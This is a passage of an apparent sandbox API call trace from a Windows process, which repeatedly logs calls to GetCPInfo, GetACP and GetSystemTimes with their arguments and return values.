lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.203] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.203] GetACP () returned 0x4e4 [0060.203] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.204] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.204] GetACP () returned 0x4e4 [0060.204] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.205] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.205] GetACP () returned 0x4e4 [0060.205] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.206] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.206] GetACP () returned 0x4e4 [0060.206] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.210] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.210] GetACP () returned 0x4e4 [0060.210] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.211] GetACP () returned 0x4e4 [0060.211] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.211] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.212] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.212] GetACP () returned 0x4e4 [0060.212] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.213] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.213] GetACP () returned 0x4e4 [0060.213] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.214] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.214] GetACP () returned 0x4e4 [0060.214] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, 